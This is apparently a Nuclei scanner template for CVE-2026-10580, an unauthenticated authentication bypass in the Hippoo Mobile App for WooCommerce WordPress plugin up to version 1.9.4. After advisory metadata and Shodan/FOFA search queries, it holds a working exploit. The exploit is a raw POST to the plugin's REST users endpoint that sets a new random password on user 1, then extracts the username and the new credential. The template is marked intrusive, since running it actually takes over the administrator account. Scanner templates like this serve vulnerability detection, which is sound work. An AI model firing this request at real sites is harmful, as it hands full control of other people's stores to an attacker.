Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover

id: CVE-2026-10580

info:
  name: Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover
  author: pussycat0x
  severity: critical
  description: |
    Hippoo Mobile App for WooCommerce WordPress plugin <= 1.9.4 contains an authentication bypass caused by logic conflation in user permission checks, letting unauthenticated attackers take over administrator accounts via REST API password reset.
  impact: |
    Unauthenticated attackers can reset any WordPress user's password, including administrators, gaining full administrative control of the site.
  remediation: |
    Update to a version later than 1.9.4 or the latest available version.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hippoo/hippoo-mobile-app-for-woocommerce-194-unauthenticated-authentication-bypass-to-administrator-account-takeover-via-rest-api
    - https://plugins.trac.wordpress.org/changeset/3557733
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-10580
    epss-score: 0.02948
    epss-percentile: 0.87276
    cwe-id: CWE-285
  metadata:
    max-request: 2
    vendor: hippoo
    product: hippoo-mobile-app-for-woocommerce
    framework: wordpress
    verified: true
    shodan-query: http.component:"wordpress"
    fofa-query: body="hippoo"
  tags: cve,cve2026,wordpress,wp-plugin,hippoo,woocommerce,intrusive

variables:
  new_password: "{{rand_base(16)}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/hippoo/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Hippoo')"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        regex:
          - 'Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"password":"{{new_password}}"}

      - |
        POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"password":"{{new_password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 || status_code_2 == 200'
          - 'contains_any(body, "is_super_admin","capabilities")'
          - 'contains(body, "woocommerce_meta")'
        condition: and

    extractors:
      - type: regex
        name: username
        part: body
        group: 1
        regex:
          - '"username":"([^"]+)"'

      - type: dsl
        name: new_password
        dsl:
          - new_password